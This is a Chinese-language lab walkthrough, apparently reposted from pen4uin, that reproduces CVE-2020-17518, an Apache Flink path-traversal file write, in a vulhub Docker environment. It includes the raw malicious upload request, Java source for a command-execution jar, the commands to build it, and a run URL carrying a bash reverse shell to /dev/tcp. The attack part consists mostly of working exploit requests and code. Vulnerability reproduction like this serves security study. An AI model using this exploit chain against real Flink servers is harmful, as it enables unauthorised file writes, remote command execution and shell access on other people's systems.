执行如下命令启动Flink 环境:
docker-compose up -d
环境启动后,目标为
http://your-ip:8081

先上传1个文件,测试测试环境:
POST /jars/upload HTTP/1.1Host: 1.1.1.1:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 185------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/don9sec"don9sec------WebKitFormBoundaryoZ8meKnrrso89R6Y--
如图,环境搭建成功。
文件写入大概有以下几种利用姿势(欢迎师傅们补充):
写入webshell写入cron或ssh key等文件写入jar等库和配置文
计划任务反弹shell尝试-失败
注意:
p牛的docker环境里是没有crontab的,所以得先配置一下复现环境的依赖:
# 安装 crontabapt-get update && apt-get -y install cronservice cron start

如图,crontab已成功安装.
多次测试均已失败告终,这里仅记录一下这种思路。

jar包反弹shell尝试-成功
准备jar包,源码如下:
import java.io.File;import java.util.Scanner;public class Execute {public Execute() {}public static void main(String[] args) throws Exception {String o = "";String cmd = args[0];ProcessBuilder p;if (System.getProperty("os.name").toLowerCase().contains("win")) {p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});} else {String pty = "/bin/sh";if ((new File("/bin/bash")).exists()) {pty = "/bin/bash";}p = new ProcessBuilder(new String[]{pty, "-c", cmd});}Process s = p.start();Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A");c.close();}}
将源码编译并打包为jar包,如图
javac Execute.javajar cf execShell.jar Execute.class

获取上传路径
注:Flink运行时文件都在/tmp目录下
通过接口 /jobmanager/config 可以获取web.tmpdir的路径:
然后通过/jars/upload接口上传jar包。
右键 -> paste from file
如图,成功上传jar包:
执行命令,反弹shell:
/jars/shell.jar/run?entry-class=Execute&program-args='/bin/bash+-i+>%26+/dev/tcp/0.0.0.0/9999+0>%261'
成功反弹shell,如图:
后续的步骤就是把复现过程代码化,落地成poc。
参考:
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518https://nosec.org/home/detail/4639.html
文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




